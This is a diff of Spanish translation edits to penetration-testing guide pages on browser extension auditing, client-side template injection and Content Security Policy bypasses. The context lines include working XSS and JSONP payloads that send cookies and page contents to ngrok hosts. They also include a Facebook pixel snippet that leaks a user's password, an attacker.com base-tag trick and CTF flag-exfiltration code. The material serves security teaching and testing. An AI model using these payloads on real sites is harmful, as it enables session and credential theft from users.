+> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este informe**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
 
 ## Resumen de comunicación
 
@@ -393,7 +393,7 @@ También es posible enviar mensajes desde un script de fondo a un script de cont
 
 ### Desde `externally_connectable` permitido a la extensión
 
-**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes utilizando :
+**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes usando :
 ```javascript
 chrome.runtime.sendMessage(extensionId, ...
 ```
@@ -539,7 +539,7 @@ Las extensiones del navegador también permiten comunicarse con **binarios en el
 "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
 }
 ```
-Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. La `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín).
+Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. El `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín).
 
 Chrome/Chromium buscará este json en algunos registros de Windows y algunas rutas en macOS y Linux (más información en los [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 
@@ -575,12 +575,12 @@ Por supuesto, no **coloque información sensible en el código**, ya que será *
 
 Para volcar la memoria del navegador, podría **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador y hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
 
-Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería poder ser copiada en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
+Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copien en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
 
 ## Cargando una Extensión en el Navegador
 
 1. **Descargue** la Extensión del Navegador y descomprímala.
-2. Vaya a **`chrome://extensions/`** y **active** el `Modo de Desarrollador`.
+2. Vaya a **`chrome://extensions/`** y **active** el `Modo Desarrollador`.
 3. Haga clic en el botón **`Cargar descomprimido`**.
 
 En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**.
@@ -610,7 +610,7 @@ Otro método conveniente es usar el Chrome Extension Source Viewer, que es un pr
 
 ### Ver el código fuente de la extensión instalada localmente
 
-Las extensiones de Chrome instaladas localmente también se pueden inspeccionar. Aquí te explicamos cómo:
+Las extensiones de Chrome instaladas localmente también se pueden inspeccionar. Así es como:
 
 1. Accede a tu directorio de perfil local de Chrome visitando `chrome://version/` y localizando el campo "Profile Path".
 2. Navega a la subcarpeta `Extensions/` dentro del directorio del perfil.
@@ -648,7 +648,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
 - [ ] **Limitar** tanto como sea posible los **`web_accessible_resources`**, incluso vacíos si es posible.
 - [ ] Si **`web_accessible_resources`** no es ninguno, verificar [**ClickJacking**](browext-clickjacking.md)
 - [ ] Si ocurre alguna **comunicación** de la **extensión** a la **página web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas en la comunicación.
-- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
+- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/index.html)**.**
 - [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web
 - [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo**
 - [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada
@@ -684,12 +684,12 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
 - Descargar extensión y versiones formateadas.
 - Descargar la extensión original.
 - Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados).
-- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, asumiendo que la extensión no ha sido actualizada, será casi instantáneo debido a que los resultados están en caché.
+- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché.
 - URLs de Reporte Enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de los complementos y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
+El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de plugins y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
 
 ## Referencias
 

src/pentesting-web/client-side-template-injection-csti.md

@@ -4,7 +4,7 @@
 
 ## Resumen
 
-Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript** arbitrario en el navegador de la víctima.
+Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/index.html) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript** arbitrario en el navegador de la víctima.
 
 **Probar** esta vulnerabilidad es muy **similar** al caso de **SSTI**, el intérprete espera **una plantilla** y la ejecutará. Por ejemplo, con una carga útil como `{{ 7-7 }}`, si la aplicación es **vulnerable** verás un `0`, y si no, verás el original: `{{ 7-7 }}`
 
@@ -35,7 +35,7 @@ Y el **código fuente** del ejemplo vulnerable aquí: [https://github.com/azu/vu
 <!-- Google Research - Vue.js-->
 "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
 ```
-Un muy buen artículo sobre CSTI en VUE se puede encontrar en [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
+Un buen artículo sobre CSTI en VUE se puede encontrar en [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
 
 ### **V3**
 ```
@@ -47,7 +47,7 @@ Créditos: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/re
 ```
 {{constructor.constructor('alert(1)')()}}
 ```
-Créditos: [Mario Heiderich](https://twitter.com/cure53berlin)
+Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
 
 **Consulta más cargas útiles de VUE en** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
 

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -4,7 +4,7 @@
 
 ## What is CSP
 
-Content Security Policy (CSP) es reconocida como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el cross-site scripting (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
+La Política de Seguridad de Contenidos (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
 
 La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
 
@@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
 
 CSP se puede hacer cumplir o monitorear utilizando estos encabezados:
 
-- `Content-Security-Policy`: Hace cumplir el CSP; el navegador bloquea cualquier violación.
+- `Content-Security-Policy`: Hace cumplir la CSP; el navegador bloquea cualquier violación.
 - `Content-Security-Policy-Report-Only`: Se utiliza para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
 
 ### Defining Resources
@@ -69,8 +69,8 @@ object-src 'none';
 - `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares, no recomendado por razones de seguridad.
 - `'unsafe-hashes'`: Habilita controladores de eventos en línea específicos.
 - `'unsafe-inline'`: Permite el uso de recursos en línea como `<script>` o `<style>` en línea, no recomendado por razones de seguridad.
-- `'nonce'`: Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número usado una vez).
-- Si tienes ejecución limitada de JS, es posible obtener un nonce usado dentro de la página con `doc.defaultView.top.document.querySelector("[nonce]")` y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:
+- `'nonce'`: Una lista blanca para scripts en línea específicos usando un nonce criptográfico (número usado una vez).
+- Si tienes ejecución de JS limitada, es posible obtener un nonce usado dentro de la página con `doc.defaultView.top.document.querySelector("[nonce]")` y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:
 
 <details>
 
@@ -92,12 +92,12 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 - `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash.
 - `'host'`: Especifica un host específico, como `example.com`.
 - `https:`: Restringe las URL a aquellas que utilizan HTTPS.
-- `blob:`: Permite que los recursos se carguen desde Blob URLs (por ejemplo, Blob URLs creados a través de JavaScript).
-- `filesystem:`: Permite que los recursos se carguen desde el sistema de archivos.
+- `blob:`: Permite cargar recursos desde URLs Blob (por ejemplo, URLs Blob creadas a través de JavaScript).
+- `filesystem:`: Permite cargar recursos desde el sistema de archivos.
 - `'report-sample'`: Incluye una muestra del código que viola en el informe de violación (útil para depuración).
 - `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo orígenes seguros pueden cargar recursos de orígenes seguros).
-- `'strict-origin-when-cross-origin'`: Envía URL completas al hacer solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.
-- `'unsafe-allow-redirects'`: Permite que se carguen recursos que redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad.
+- `'strict-origin-when-cross-origin'`: Envía URLs completas al hacer solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.
+- `'unsafe-allow-redirects'`: Permite cargar recursos que redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad.
 
 ## Reglas CSP Inseguras
 
@@ -126,7 +126,7 @@ Carga útil funcional:
 ```
 ### strict-dynamic
 
-Si puedes de alguna manera hacer que un **código JS permitido cree una nueva etiqueta de script** en el DOM con tu código JS, porque un script permitido la está creando, la **nueva etiqueta de script será permitida para ser ejecutada**.
+Si de alguna manera puedes hacer que un **código JS permitido cree una nueva etiqueta de script** en el DOM con tu código JS, porque un script permitido la está creando, la **nueva etiqueta de script se permitirá ejecutar**.
 
 ### Wildcard (\*)
 ```yaml
@@ -155,15 +155,15 @@ Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
 Si puedes subir un archivo JS, puedes eludir este CSP:
 
-Carga útil funcional:
+Carga útil en funcionamiento:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir un tipo determinado de archivos**.
+Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir determinados tipos de archivos**.
 
-Además, incluso si pudieras subir un **código JS dentro** de un archivo usando una extensión aceptada por el servidor (como: _script.png_), esto no será suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
+Además, incluso si pudieras subir un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
 
-A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crea un polyglot ([algunos ejemplos de polyglot aquí](https://github.com/Polydet/polyglot-database)).
+A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crear un poliglota ([algunos ejemplos de poliglota aquí](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
@@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!NOTE]
-> La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
+> El post muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
 ```markup
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@@ -274,7 +274,7 @@ Es posible abusar de Google Apps Script para recibir información en una página
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca puede ser eludido usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento:
+Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca pueden ser eludidos usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento:
 ```markup
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@@ -284,7 +284,7 @@ Escenarios como este donde `script-src` está configurado en `self` y un dominio
 https://www.youtube.com/oembed?callback=alert;
 <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir CSP de diferentes sitios web.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.**
 
 La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza.
 
@@ -292,16 +292,16 @@ La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una
 
 Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que podrían estar permitidos en algún lugar del CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
 
-| Entidad            | Dominio Permitido                           | Capacidades |
-| ------------------ | ------------------------------------------- | ------------ |
-| Facebook           | www.facebook.com, \*.facebook.com           | Exfil        |
-| Hotjar             | \*.hotjar.com, ask.hotjar.io               | Exfil        |
-| Jsdelivr           | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
-| Amazon CloudFront  | \*.cloudfront.net                           | Exfil, Exec  |
-| Amazon AWS         | \*.amazonaws.com                            | Exfil, Exec  |
-| Azure Websites     | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
-| Salesforce Heroku  | \*.herokuapp.com                            | Exfil, Exec  |
-| Google Firebase    | \*.firebaseapp.com                          | Exfil, Exec  |
+| Entidad            | Dominio Permitido                           | Capacidades  |
+| ------------------ | ------------------------------------------- | ------------- |
+| Facebook           | www.facebook.com, \*.facebook.com           | Exfil         |
+| Hotjar             | \*.hotjar.com, ask.hotjar.io               | Exfil         |
+| Jsdelivr           | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec          |
+| Amazon CloudFront  | \*.cloudfront.net                           | Exfil, Exec   |
+| Amazon AWS         | \*.amazonaws.com                            | Exfil, Exec   |
+| Azure Websites     | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec   |
+| Salesforce Heroku  | \*.herokuapp.com                            | Exfil, Exec   |
+| Google Firebase    | \*.firebaseapp.com                          | Exfil, Exec   |
 
 Si encuentras alguno de los dominios permitidos en el CSP de tu objetivo, es probable que puedas eludir el CSP registrándote en el servicio de terceros y, ya sea exfiltrando datos a ese servicio o ejecutando código.
 
@@ -322,18 +322,18 @@ Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho co
 5. Ve a "Administrador de eventos" de tu aplicación y selecciona la aplicación que creaste (ten en cuenta que el administrador de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 6. Selecciona la pestaña "Eventos de prueba" para ver los eventos que se envían desde "tu" sitio web.
 
-Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al app-id de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este:
+Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al ID de aplicación de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
-En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
+En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicaciones adicionales sobre otros abusos de terceros.
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
-Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores.
+Además de la redirección mencionada para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores.
 
 Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se puede eludir de la siguiente manera:
 ```html
@@ -357,18 +357,18 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
 ../xss-cross-site-scripting/iframes-in-xss-and-csp.md
 {{#endref}}
 
-### falta **base-uri**
+### falta de **base-uri**
 
-Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
+Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/index.html).
 
-Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
+Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) utilizando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
 Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base.
 ```html
 <base href="https://www.attacker.com/" />
 ```
-### Eventos de AngularJS
+### AngularJS events
 
-Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir el CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
+Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir la CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
 
 Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación elucida este proceso:
 ```xml
@@ -385,7 +385,7 @@ Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none
 ```
 Una política de CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida a través de la invocación de funciones de callback y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
-Cargas útiles:
+Payloads funcionales:
 ```html
 <script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
 ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@@ -397,7 +397,7 @@ Otros puntos de ejecución arbitraria de JSONP se pueden encontrar en [**aquí**
 
 ### Bypass a través de Redirección
 
-¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, aún fallará.
+¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, seguirá fallando.
 
 Sin embargo, de acuerdo con la descripción en [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirección lleva a un camino diferente, puede eludir las restricciones originales.
 
@@ -421,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 ```
 Si CSP está configurado en `https://www.google.com/a/b/c/d`, dado que se considera la ruta, tanto los scripts `/test` como `/a/test` serán bloqueados por CSP.
 
-Sin embargo, el final `http://localhost:5555/301` será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y **el script puede ser cargado**, eludiendo así la restricción de la ruta.
+Sin embargo, el `http://localhost:5555/301` final será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y el **script puede ser cargado**, eludiendo así la restricción de la ruta.
 
 Con esta redirección, incluso si la ruta se especifica completamente, aún será eludida.
 
@@ -429,7 +429,7 @@ Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vuln
 
 ### Eludir CSP con marcado colgante
 
-Lee [cómo aquí](../dangling-markup-html-scriptless-injection/).
+Lee [cómo aquí](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; a través de XSS
 ```
@@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
 ```
 `'unsafe-inline'` significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que puedes usar en la página web cualquier imagen de cualquier recurso.
 
-Puedes eludir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):
+Puedes eludir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extraer la bandera a través de una imagen):
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@@ -472,7 +472,7 @@ Puedes encontrar un ejemplo aquí: [http://portswigger-labs.net/edge_csp_injecti
 
 #### Edge
 
-En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: **`;_`** **Edge** **eliminaría** toda la **política**.\
+En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: **`;_`** **Edge** **eliminará** toda la **política**.\
 Ejemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
 ### img-src \*; vía XSS (iframe) - Ataque de tiempo
@@ -480,7 +480,7 @@ Ejemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
 Nota la falta de la directiva `'unsafe-inline'`\
 Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez vas a hacer que la víctima acceda a la página desde donde quieres extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargar**, puedes extraer la información que necesitas.
 
-Esta vez se va a extraer una **bandera**, cada vez que un **carácter es adivinado correctamente** a través de SQLi, la **respuesta** toma **más tiempo** debido a la función de sueño. Entonces, podrás extraer la bandera:
+Esta vez se va a extraer una **bandera**, cada vez que un **carácter es adivinado correctamente** a través de SQLi, la **respuesta** toma **más tiempo** debido a la función de espera. Entonces, podrás extraer la bandera:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@@ -540,17 +540,17 @@ console.log(prefix)
 run()
 </script>
 ```
-### A través de Bookmarklets
+### Via Bookmarklets
 
 Este ataque implicaría algo de ingeniería social donde el atacante **convince al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **código javascript malicioso** que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens.
 
